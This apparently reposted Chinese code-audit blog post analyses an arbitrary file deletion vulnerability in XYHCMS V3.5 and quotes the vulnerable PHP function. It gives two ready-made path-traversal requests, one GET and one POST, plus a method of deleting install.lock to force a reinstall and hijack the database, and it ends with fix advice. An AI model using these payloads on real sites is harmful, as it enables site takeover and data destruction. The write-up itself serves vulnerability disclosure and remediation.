【代码审计】XYHCMS V3.5任意文件删除漏洞分析

版权声明:本文由Bypass原创发布,转载请保留出处。欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。 https://blog.csdn.net/qq_23936389/article/details/84967401

 

0x00 环境准备

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

测试网站首页:

 

0x01 代码分析

1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php   第293--233行:

  1. public function delSqlFiles() {  
  2.         $id        = I('id', 0, 'intval');  
  3.         $batchFlag = I('get.batchFlag', 0, 'intval');  
  4.         //批量删除  
  5.         if ($batchFlag) {  
  6.             $files = I('key', array());  
  7.         } else {  
  8.             $files[] = I('sqlfilename', '');  
  9.         }  
  10. 10.         if (empty($files)) {  
  11. 11.             $this->error('请选择要删除的sql文件');  
  12. 12.         }  
  13. 13.         foreach ($files as $file) {  
  14. 14.             unlink($this->getDbPath() . '/' . $file);  
  15. 15.         }  
  16. 16.         $this->success("已删除:" . implode(",", $files), U('Database/restore'));  
  17. 17.     }  

这段函数中对提交的参数进行简单的判断,然后将接受的参数拼接到路径中,带入到unlink函数中进行删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lock进行CMS重装,劫持网站

数据库。

0x02 漏洞利用

1、在网站根目录新建1.txt作为漏洞测试文件

 

2、进行漏洞利用

漏洞利用方式一:

通过GET方式提交参数,删除根目录下的1.txt文件

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1

漏洞利用方式二:

通过POST提交参数,删除根目录下的1.txt文件

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1

POST:key%5B%5D=../../../1.txt

 

3、如何进一步利用呢?

删除\Install\install.lock,进行CMS重装,劫持网站数据库。删除install.lock文件,访问http://127.0.0.1/install/,成功进入系统重装界面。

 

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自blog.csdn.net/qq_23936389/article/details/84967401
今日推荐